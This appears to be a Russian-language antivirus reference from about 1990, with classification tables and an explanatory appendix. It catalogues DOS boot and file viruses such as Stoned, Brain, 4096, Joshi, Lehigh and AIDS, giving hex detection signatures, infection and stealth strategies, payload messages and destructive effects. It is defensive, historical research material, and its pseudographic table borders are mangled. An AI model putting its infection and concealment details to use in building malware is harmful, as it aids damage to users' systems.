TP-45, _RCE-2901 _TP _3_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _см. TP-44 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 2C _ _
_ _ _ _ _C _2125BAC803CD21B80125BAFF08CD21BA _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
TP-41, _RCE-2932 _TP _4_>_D _An Bm Cy Dn Es Itp-tp Jn K11 Li Mmf Se _См. TP-39 _
*$Yankey Doodlе _ _ _ _ _P _32 < LenCE _ _
(Янки Дудль) _ _ _ _ _H _1,3,1C,21 _ _
_ _ _ _ _B _F4 7A 2C _ _
_ _ _ _ _C _0125BAF108CD21BA22029C8BC3052609 _ _
_ _ _ _ _T _ 0505050505050505h ((8)05h) _ _
_ _ _ _ _F _TP48CLS,AIDSTEST, AV, DOCTOR, ANTI-KOT _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ 4096 _RCE-04096_St _2_<_D _An Cp Dy Macfl To Zet _Израиль: январь 1990. ОЧЕНЬ ОПАСЕН !!! _
_ 4K, _ _!!!_ _ _DP_6K < LenC _Загружается в старшие адреса,откусывая 6K._
_ 100 Years virus_ _ _ _ _H _s21 _В зараженных файлах к году создания добавле-_
_ Century virus, _ _ _ _ _M1_33 FF B9 D0 07 B8 20 07 F3 AB BE /* ?? */_но 100 (команда DIR показывает две последние_
_ Frodo, _ _ _ _ _M2_FF 76 06 2E 8F 06 B3 12 /* ?? */_цифры) и их длина возрастает на 4K, хотя при_
_ Hiding, _ _ _ _ _M3_F6 2E 8F 06 41 12 2E 8F 06 43 /* ?? */_резидентном вирусе увеличение длины не видно_
_ IDF Virus, _ _ _ _ _B _81FC0001770233E48BE8E80000 _При заражении иногда не обновляет заголовок _
_ Stealth Virus _ _ _ _ _ _ _EXE-файла, что вызывает сообщения MS DOS: _
_ _ _ _ _ _ _ _ ERROR in EXE File. _
_ _ _ _ _ _ _Меняет FAT,сращивая файлы (видно по CHKDSK/F_
_ _ _ _ _ _ _С 22 сентября 1990 при запуске любого _
_ _ _ _ _ _ _инфицированного файла компьютер зависает. _
_ _ _ _ _F _ CLEAN v66+ (СП 7-90) _Подробнее вирус описан ниже _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДБДДДДДДДДДБДДДБДБДБДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ДДДДДДДДДДДДДДДДДДВДДДДДДДДВДДДВДВДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_Класси- _ Г _Р_Д_ Дескриптор, сигнатуры и фаги _ _
Неформальные _фикаци- _ р _а_иГДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ Страна и дата обнаружения, _
названия _онный _ у _с_н_В _ _ фамилия исследователя обнаружевшего _
_код _ п _п_а_и _ Значение _ и изолировавшего вирус (если известны), _
_вируса _ п _р_м_д _ _ вызываемые эффекты _
_ _ а _о_и_ _ _ _
_ _ _с_к_ _ _ _
_ _ _т_а_ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Stoned, _ M-05 _ _5_>_D _ L440 N1 S0.1.3-0.0.7 Mn _Австралия: 1988; СССР: лето 1989 _
(забалдевший),_ _ _ _ _DR_u 2K _При загрузке MS DOS с вероятностью 1/8 на экран _
Marijuana _ _ _ _ _J _ EA0500 _выдается сообщение Your PC is now Stoned,затем пос-_
(Марихуана), _ _ _ _ _M1_00 53 51 52 06 56 57 _ле некоторой паузы продолжается нормальная загрузка. _
New Zealand _ _ _ _ _M2_9C 2E FF 1E 09 00 _Если винчестер разбит более чем на 4 логических диска_
(Новая Зеландия)_ _ _ _ _I _1E5080FC02721780FC0473120AD2750 _обычным VDISK или DiskManager, то при заражении _
_ _ _ _ _+ _E33C08ED8A03F04A8017503E80700 _затирается часть PARTITION TABLE c информацией о _
_ _ _ _ _T _ Your PC is now Stoned _положении пятого и последующих разделов винчестера _
_ _ _ _ _T _ LEGALISE MARIJUANA! _Вирус не проверяет, записаны ли в секторе 0/1/3 дан- _
_ _ _ _ _ _ _ные или нет.Для дискеток с большим количеством мелких_
_ _ _ _ _ _ _файлов или подкаталогов возможна потеря информации. _
_ _ _ _ _ _ _Имеется штамм, записывающий хвост по другому адресу _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Italian Bouncing_Bx1-1C-a_PP _5_>_D _ L512+471 N2 Sx1 Mn _Италия (Турин): 03.88; СССР: весна 1989 _
(Итальянский _ _ _ _ _DR_u 2K _Двигающийся по экрану светлый ромбик, отражающийся от_
попрыгунчик), _ _ _ _ _J _ EB1C90 _границ экрана и символов псевдографики. На цветном _
*$ Ping-Pong _ _ _ _ _M _ 595B58071FEA (штамм А) _мониторе возможно изменение цвета отдельных символов _
(пинг-понг), _ _ _ _ _M _ A1F581A3F57D8B36F981 (штамм В) _или полей. Самый распространенный в СССР бутовый ви-_
Bouncing Dot _ _ _ _ _I _ 8ED8A113042D0200A31304B106D3 _рус. Имеется штамм с 2-мя двигающимися символами. _
движущаяся точка), _ _ _ _+ _ E02DC0078EC0BE007C8BFEB90001 _После появления ромбик продолжает двигаться до пере- _
Bouncing Ball _ _ _ _ _ _ _загрузки компьютера.Инфицирование дискеток происходит_
прыгающий мячик),_ _ _ _ _ _ _очень быстро. При просмотре карты инфицированного _
Vera Cruz, _ _ _ _ _ _ _диска виден один сектор, отмеченный как сбойный _
_ _ _ _ _ _ _Оригинальная версия работоспособна только на PC/XT. _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Modified _Bx1-1C-b_PP _1_ _D _ L512+510 N2 Sx1 Mn _Штамм, модифициpованный виpусом _
Ping Pong _ _ _ _ _DR_u 2K _Yankee Doodle. Размножение _
Модифицированный_ _ _ _ _J _ _ограничено 255 заражениями. _
пинг-понг) _ _ _ _ _B _ 891E2C7D8A16F87DE94103 _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
Hacked Ping Pong_Bx1-1C-с_PP _1_ _D _ L512+293 N2 Sx1 Mn _Данный штамм размножается, но из-за внесенных _
(Искромсаный _ _ _ _ _DR_u 2K _изменений визуальный эффект (двигающийся ромбик) _
пинг-понг) _ _ _ _ _B _ 8ED88ED0BC007C _отсутствует. _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Brain _ Dx3-E9a_ _1_ _D _ L512+1214 N1 Sx3 Mr _Пакистан (Лахор):1986; _
(Брейн) _ _ _ _ _DR_u 7K _США: октябрь 1987, Anne E. Webster _
Brain-86 _ _ _ _ _J _ FAE94A _ _
_ _ _ _ _I _ 8CC88ED88ED0BC00F0FBA006 _Переименовывает зараженные дискеты, проставляя метку _
_ _ _ _ _+ _ 7CA2097C8B0E077C890E0A7CE85700 _ (c) Brain _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$Ashar _ Bx3-E9 _ _1_ _D _ L512+1214 N1 Sx3 Mr _США: 1989 _
(Ашар) _ _ _ _ _DR_u 7K _СССР(Москва): конец 1989, Лозинский Д.Р. _
Shoe_Virus, _ _ _ _ _J _ FAE94A _ _
_ _ _ _ _I _ 8CC88ED88ED0BC00F0FBA006 _Переименовывает зараженные дискеты, проставляя метку _
UIUC Virus _ _ _ _ _+ _ 7CA2097C8B0E077C890E0A7CE85700 _ . Заражает винчестер. При просмотре _
_ _ _ _ _M _ 8D88ED0BC00F0FBA006 _зараженного бутсектора подставляет оригинальный _
_ _ _ _ _T _ Welcome to the Dungeon _бутсектор из хвоста вируса. Поэтому увидеть _
_ _ _ _ _T _ (c) 1986 Basit & Amjad (pvt) Ltd. _содержимое зараженного бутсектора можно только _
_ _ _ _ _T _ BRAIN COMPUTER SERVICES _после загрузки с защищенной дискеты с MS DOS _
_ _ _ _ _T _ LAHORE-PAKISTAN _ _
_ _ _ _ _T _ VIRUS_SHOE RECORD, v9.0. _ _
_ _ _ _ _T _ Dedicated to the dynamic memories_ _
_ _ _ _ _T _ of millions of virus who are _ _
_ _ _ _ _T _ no longer with us _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Brain _ Dx3-E9s_ _1_ _D _ L512+1214 N1 Sx3 Mr _Сингапур ?: 1988 _
(Брейн) _ _ _ _ _DR_u 7K _СССР(Днепропетровск):весна 1990 (А.Сесса). _
Brain-88, _ _ _ _ _I _ 8CC88ED88ED0BC00F0FB _Штамм вируса BRAIN _
Singapore Brain, _ _ _ _+ _ A0067CA2097C8B0E077C890E0A7CE85900_разработанный, по видимому _
(Сингапурский _ _ _ _ _M _ A0067CA2097C8B0E077C _в Сингапуре в 1988 году. _
вирус), _ _ _ _ _M _ 208CC88ED88ED0 _ _
Pakistani Brain,_ _ _ _ _T _(C) 1988 Basit & Amjad (pvt) Ltd. _ _
(Душманские мозги)_ _ _ _ _T _Lahore,Pakistan. _ _
Basit _ _ _ _ _T _Ver (Singapore) _ _
(Базит) _ _ _ _ _T _Beware of this virus. _ _
_ _ _ _ _T _It will transfer to million of Disk_ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Disk Killer _ Bx3-EB _!!!_5_<_D _ L505+1698 N1 Sx3/t0 Mn _Тайвань; США(Калифорния): апрель 1989; _
(Дисккиллер), _ _ _ _ _DR_u 8K _СССР: конец 1989 _
OGRE (Людоед) _ _ _ _ _J _ FAEB4F _Уничтожает логический диск С винчестера, полностью _
_ _ _ _ _M _ C310E2F2C606F301FF90EB55 _перезаписывая его содержимое. На винчестере _
_ _ _ _ _T _Disk Killer -- Version 1.00 _располагается в секторах, расположенных после MBR. _
_ _ _ _ _T _by COMPUTER OGRE 04/01/1989 _Вирус может записать свой хвост в сектора, принадле- _
_ _ _ _ _ _ _жащие файлу, тем самым уничтожая его содержимое _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ *$ Den Zuk _ D-29 _ _2_<_D _ _Венесуэла или Индонезия: 1989; _
_ (Ден-зук), _ _ _ _ _DR_u 8K _СССР(Москва): июнь 1990 (Алексеев С.) _
_ Search _ _ _ _ _J _ EB2990 _Заражает только дискеты. Тело вируса размещается на _
_ (Поиск), _ _ _ _ _M _8E C0 BE C6 7C BF 00 7E _41 дорожке (адрес 40/0/33) дискеты и при обычном _
_ Venezuelan _ _ _ _ _I _FA8CC88ED88ED0BC00F0FBB8787C50C3 _копировании дискеты теряется. При попытке мягкой _
(Венесуэльский) _ _ _ _ _ _ _перезагрузки клавишами Ctrl-Alt-Del на экран выдается_
_ _ _ _ _ _ _надпись DEN ZUK. Подобно программам защиты от копи-_
_ _ _ _ _ _ _рования вирус размечает 41 дорожку нестандартно _
_ _ _ _ _ _ _нумеруя сектора 33-42 вместо обычных 1-9 _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# Joshi, _WM-1F _ _ _ _D _ L512+ N1 S 40.1.1-40.1.5 Mr _Индия: июнь 1990. СССР (Москва, Киев) июль 1990 _
(Джоши), _ _ _ _ _DR_wu 6K _(Лозинский Д.Н.,Литвинов Б.) _
Happy Birthday _ _ _ _ _DH_8, 9, 13, 21 _Наиболее скрытный и тщательно маскирующийся из попав-_
(С днем рожденья)_ _ _ _ _M _F3 A4 8C C0 05 20 00 8E C0 BB _ших в CCCР. Заражает как 360К, так и 1.2М дискеты, _
_ _ _ _ _T _Type Happy Birthday Joshi !$ _Зараженный MBR при резидентном вирусе не виден.Хранит_
_ _ _ _ _ _ _хвост на дополнительной дорожке (41 для 360К дискет, _
_ _ _ _ _ _ _81 для 1.2М дискет). Характерной особенностью являет-_
_ _ _ _ _ _ _ся возникновение проблем с дискетами 1.2M на заражен-_
_ _ _ _ _ _ _ных компьютерах (пропадание формата 1.2 из меню PC _
_ _ _ _ _ _ _TOOLS, сбои отформатированных дискет при записи и др)_
_ _ _ _ _ _ _5 января вирус активируется и выдает на экран сообще-_
_ _ _ _ _ _ _ние type Happy Birthday Joshi. Если пользователь _
_ _ _ _ _ _ _ответит Happy Birthday Joshi то работоспособность _
_ _ _ _ _ _ _операционной системы сохраняется. _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДЕДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДДБДДДДДДДДБДДДБДБДБДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДБДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЩ
ПРИЛОЖЕНИЕ 2
КЛАССИФИКАЦИОННАЯ ТАБЛИЦА БУТОВЫХ ВИРУСОВ, ОБНАРУЖЕННЫХ В CCCР
В приводимой ниже таблице собраны сведения о бутовых вирусах, обнаруженных в СССР
по состоянию на 12.09.90. Ниже следуют замечания по ее структуре и организации:
1. Бутовые вирусы обычно перехватывают прерывание 13h и поэтому
конфликтуют с драйверами накопителей на гибких дисках, реализующими
нестандартные форматы ( например драйвером 800.COM ). При этом могут
возникать ошибки типа деления на ноль, зависание системы, а также
искажение записываемой на гибкий диск информации. Данное проявление, как
типичное, в классификационой таблице как правило не указано.
2. Символом * помечены названия вирусов, выдаваемые
полидетектором Scan при обнаружении М-сигнатур, символом # - названия,
используемые в VIRUS INFORMATION SUMMARY LIST, составленном Патрицией М.
Хоффман (Patricia M. Hoffman) а символом $ - названия, выдаваемые
полидетектором TNTVIRUS (фирмы CARMEL). Символом + обозначено
продолжение продолжение длинных I-сигнатур. Символы hh в
классификационном коде вируса означают, что сведения о значении второго
байта бутсектора отсутствуют.
3. Для незараженного бутсектора первые три байта бутсектора
(J-сигнатура) равны EB3490h (обьектный код команды JMP, служащий для
обхода таблицы параметров).
4. В дескрипторе boot-вируса отражены следующие свойства:
A - деструктивные действия, выполняемые вирусом:
b (block) - блокирует выполнение запускаемой программы или команды MS DOS;
c (corrupt) - повреждает или искажает файлы данных или отдельные сектора, распределенных MS DOS;
f (format) - выполняет форматирование дисков;
i (ignore) - заменяет операции записи на операции чтения или верификации;
h (hang) - подвешивает систему;
р (parallel port) - искажает информацию передаваемую через параллельный порт;
r (reboot) - вызывает внезапную перезагрузку системы;
s (sector destruction) - уничтожает отдельные сектора диска;
v (video effects) - искажает информацию в видеопамяти;
w (write port) - пишет в порты;
x - создает сбойные сектора;
z (zip) - стирает информацию в файлах или на диске,
а также в управляющих таблицах, например в таблице FAT;
В - проявления вируса;
a (abort) - появление запроса Abort, Retry, Ignore при попытке заразить прог-
рамму, расположенную на защищенной от записи дискете;
n (new files) - создает новые файлы;
m (music) - исполняет мелодию или имеет какой-либо другой звуковой эффект;
v (video effects) - создает визуальный эффект(ы);
t (text message) - выдает на экран текстовые сообщения;
s (slow down) - замедление работы компьютера;
L - длины головы и хвоста вируса(байт), разделенные знаком +.
Если вирус состоит из одной головы, то приводится одна цифра.
N - номер первого несовпадающего байта при сопоставлении
зараженного и нормального секторов начальной загрузки;
S - стратегия заражения:
метод выбора жертвы:
r - при обращении к дискете;
в - при мягкой перезагрузке;
место хранения хвоста вируса и оригинальной копии сектора
начальной загрузки). Указывается через черточку в порядке
расположение на дискете - расположение на винчестере(при
совпадении адресов для винчестера и дискеты адрес
указывается один раз):
xN - в N кластерах, помеченных вирусом как дефектные;
tl - на последней дорожке дискеты или винчестера;
t<цифра> - на дополнительной дорожке, например t40;
N.N.N - по абсолютному адресу (цилиндр.головка.сектор) на
дискете или винчестере.
М (маскировка) - возможность просмотра содержимого зараженного
сектора начальной загрузки при наличии вируса в ОЗУ (т.е. при работе в
зараженной MS DOS):
r - (redirection) при попытке просмотреть голову на диске
резидентный вирус перехватывает соответствующую операцию чтения и
перенаправляет ее на сектор, где хранится оригинал бутсектора или MBR
c - тело вируса закодировано;
n - маскировка отсутствует;
R - (resident) положение в оперативной памяти, реакция на теплую перезагрузку и размер занимаемой памяти
a - (available) - в неиспользуемой части оперативной памяти (не создавая MCB и не изменяя
обьема свободной оператвной памяти;
l - (low) в младших адресах, после последней загруженной к этому моменту резидентной программы;
b - (buffer) в буферах MS DOS;
h - (high) в старших адресах без изменения общего обьема оперативной памяти;
u - (upper) в старших адресах памяти с соответствующим уменьшением общего обьема
доступной системе оперативной памяти (по типу бутвируса);
t - (TSR) - вирус создает дополнительный MCB, видный в списке резидентных программ как дополнительная
паразитная резидентная программа;
v - в области видеопамяти (адреса, за первыми 640K т.е большие А000:0000);
w - (survive Warm reboot) выживание при теплой перезагрузке (возможно, в основном, для вирусов
инсталлирующихся по типу u);
<целое> - обьем оперативной памяти, резервируемый вирусом;
Z - побочные проявления действий вируса:
a - (attr) - изменение атрибутов при заражении файла, например a(r) - снятие атрибута READ ONLY;
b - (boot) - при заражении программ, запускаемых в файле
AUTOEXEC.BAT, возможно зацикливание процесса загрузки;
e - появление ошибок типа деления на нуль, переполнения стека и т.п.;
f -(FAT) - искажения FAT
h - (hang) зависания системы
o - нарушение функционирования программ с оверлейной структурой.
Например, возникновение ошибок при загрузке отдельных фаз оверлейной программы;
r - нарушение работы некоторых резидентных программ вследствие
использования вирусом общих с ними системных прерываний;
t - (twins) сращивание цепочек в FAT;
v - (video) - мерцание монитора или выдача на экран каких-то случайных последовательностей символов;
x - (eXtended) повреждение расширенных EXE-файлов, т.е. таких,
у которых длина, указанная в элементе оглавления больше
длины, указанной в заголовке. При запуске таких программ в
память загружается только то количество байтов, которое
определено в заголовке файла. Оставшаяся область дискового
пространства может использоваться как буфер или как неявный
оверлей.
ПРИЛОЖЕНИЕ 3
Классификационная таблица файловых вирусов, известных только по литературе
ДДДДДДДДДДДДДДДДДВДДДДДДДДДДВДДДВДВДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДї
_ _ Г _Р_Д_ Дескриптор, сигнатуры и фаги данного вируса _ _
Неформальные _ Классифи-_ р _а_иГДДВДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_ Страна и дата обнаружения, _
названия _ кационный_ у _с_н_B _ _ фамилия исследователя обнаружевшего _
_ код _ п _п_а_и _ Значение _ и изолировавшего вирус (если известны), _
_ вируса _ п _р_м_д _ _ вызываемые эффекты _
_ _ а _о_и_ _ _ _
_ _ _с_к_ _ _ _
_ _ _т_а_ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ Lehigh _ С-0-346, _ _1_~_D _Az Bx Cо Di Imn Jn K1 L346 Mn _США(Лехайский универсистет): ноябрь 1987, _
(Лехайский) _ C-20 _ _ _ _DP_Name=COMMAND.COM & Atr != RH _Кеннет Ван Вук (Kenneth van Wyk) _
_ _ _ _ _M1_B7 21 02 C3 _Ищет файл СOMMAND.COM в корневом каталоге _
_ _ _ _ _M2_5B FF B7 21 02 C3 61 3A _текущего диска и заражает его не увел. длину_
_ _ _ _ _M3_5E 83 EE 03 8B DE 81 EB 91 01 _После четырех размножений уничтожает первые _
_ _ _ _ _C _505380FC4B740880FC4E7403E977018B _20 треков диска. Оригинальная версия увели- _
_ _ _ _ _I _505380FC4B740880FC4E7403E977018 _чивала длину зараженного СOMMAND.COM на 20 _
_ _ _ _ _+ _BDA807F013A75058A07EB07 _байт, изменяя дату. Возможно имеется штамм _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_не увеличивающий длину и не меняющий дату _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# 382 _СE-0-382 _ _1_ _D _Abk Cy Ion Sc Zh _июнь 1990, Тайвань _
_ _ _ _ _M _EB 00 2E C7 06 4B 02 00 00 B4 19 _Перезаписывает своим телом первые 382 _
_ _ _ _ _ _ _байта заражаемой программы. При запуске за-_
_ _ _ _ _ _ _раженной программы происходит зависание сис-_
_ _ _ _ _ _ _темы, появляются случайные символы на экра- _
_ _ _ _ _ _ _не дисплея, иногда диск начинает непрерывное_
_ _ _ _ _ _ _вращение, снимаемое только перезагрузкой. _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ После заражения всех файлов текущем ката-_
_ _ _ _ _ _ _логе переименовывает все EXE-файлы в COM _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*#$ 405 virus _ С-0-405 _ _2_~_D _Abk Cy Ion Sc _апрель 1989, Австрия _
_ _ _ _ _M _19 CD 21 26 A2 49 02 B4 47 04 01 50 _Перезаписывает своим телом первые 450 _
_ _ _ _ _C _19CD2126A24902B447040150FFFFFFFF _байтов заражаемой программы. _
_ _ _ _ _I _B8000026A2490226A24B0226A28B025 _ _
_ _ _ _ _+ _0B419CD2126A24902B4470401 _ _
_ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ 512 _ RC-O-512 _DAv_1_<_D _Cy _Болгария: ноябрь 1989, Весселин Бончев(?) _
_ _ _!!!_ _ _M1_8B D8 53 B8 20 12 CD 2F 26 8A 1D B8 _ВНИМАНИЕ !!! Очень опасный и скрытно размно-_
_Number of the _ _ _ _ _M2_01 8C 45 70 1F 89 57 14 8C CA 8E DA _жающийся вирус второго поколения. _
_Beast Virus, _ _ _ _ _C _1EC54408720AB413CD2F1E52CD2F581F _Подробнее описан ниже. _
_(вирус апокалип- _ _ _ _ _T _666 _ _
_сического числа),_ _ _ _ _ _ _ _
_Stealth Virus _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_ _
_(Стелс вирус) _ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*# Leprosy _ CE-0-666 _ _1_ _D _Abk Ion _США(Калифорния): август 1990 _
_ (Проказа), _ _ _ _ _M _8B 1E 9A 03 8B 0E EB 02 8B 16 E9 02 _При выполнении программы, зараженной данным _
_ Leprosy 1.00 _ _ _ _ _ _ _вирусом, вирус заражает все COM-файлы теку- _
_ _ _ _ _ _ _ _щего каталога, перезаписывая своим телом _
_ _ _ _ _ _ _ _первые 666 байт. Если в текущем каталоге на-_
_ _ _ _ _ _ _ _ходится COMMAND.COM, то он также уничтожает-_
_ _ _ _ _ _ _ _ся и при перезагрузке система зависнет. _
_ _ _ _ _ _ _ _После заражения вирус выдает сообщение _
_ _ _ _ _ _ _ _ Program to big to fit in memory _
_ _ _ _ _ _ _или _
_ _ _ _ _ _ _NEWS FLASH!! Your system has been infected_
_ _ _ _ _ _ _ with the incurable decay of L1PROSY 1.00, _
_ _ _ _ _ _ _ a virus invented by PCM2 in June of 1990. _
_ _ _ _ _ _ _ Good luck! _
_ _ _ _ _ _ _ _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
_*#$ Aids II _CE-0-8064 _ ! _2_ _D _Bmnt Ion _США: апрель 1990 _
_ (СПИД II), _ _ _ _ _M _A4 00 55 89 E5 81 EC 02 02 BF CA 05 0E 57 _Отсутствие приращения длины файла основано _
_ Companion Virus _ _ _ _ _ +_BF 3E 01 _на идее файла-компаньона: если вызывается _
_ (Компаньон) _ _ _ _ _С _A4005589E581EC0202BFCA050E57BF3E _программа из каталога, где есть два файла с _
_ _ _ _ _ _ _ _именем - .COM и .EXE, то MS DOS выполнит _
_ _ _ _ _ _ _ _COM-файл. Поэтому вирус заражает EXE-файл не_
_ _ _ _ _ _ _прямо, а путем создния COM-файла со своим _
_ _ _ _ _ _ _телом, который после загрузки вызывает соот-_
_ _ _ _ _ _ _ветствующий EXE-файл. После создания очеред-_
_ _ _ _ _ _ _ного COM-файла с своим телом вирус играет _
_ _ _ _ _ _ _мелодию и выдает сообщения(в теле не видны):_
_ _ _ _ _ _ _ Your computer is infected with ... _
_ _ _ _ _ _ _ * Aids Virus II * _
_ _ _ _ _ _ _ - Signed WOP & PGT of DutchCrack - _
_ _ _ _ _ _ _Затем запускает программу, а после ее завер-_
_ _ _ _ _ _ _шения опять играет музыку и выдает сообщение_
_ _ _ _ _ _ _ Getting used to me? _
_ _ _ _ _ _ _ Next time, use a Condom ..... _
ДДДДДДДДДДДДДДДДДЕДДДДДДДДДДЕДДДЕДЕДЕДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДЕДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДДД_
*# AIDS virus _CE-0-13000_ _2_ _D _Abk Cy Ion _Западная Европа: 1989 _
(CПИД), _ _ _ _ _ _ _Перезаписывает собой начало файла, уничтожая_
Taunt _ _ _ _ _M _ 42E8EFE3BFCA031E _тем самым первые 13К зараженного файла _
(Насмешка, _ _ _ _ _ _ _При выполнении зараженного файла выдает _
издевка), _ _ _ _ _F _Scan /D v66+ (СП 7-90) /*только удаление*/_на экран сообщение _
Hahaha, _ _ _ _ _ _ _ Your computer now has AIDS _
VGA2CGA _ _ _ _ _ _ _и подвешивает операционную систему _
_ _ _ _ _ _ _ _
_ _ _ _ _ _ _ _
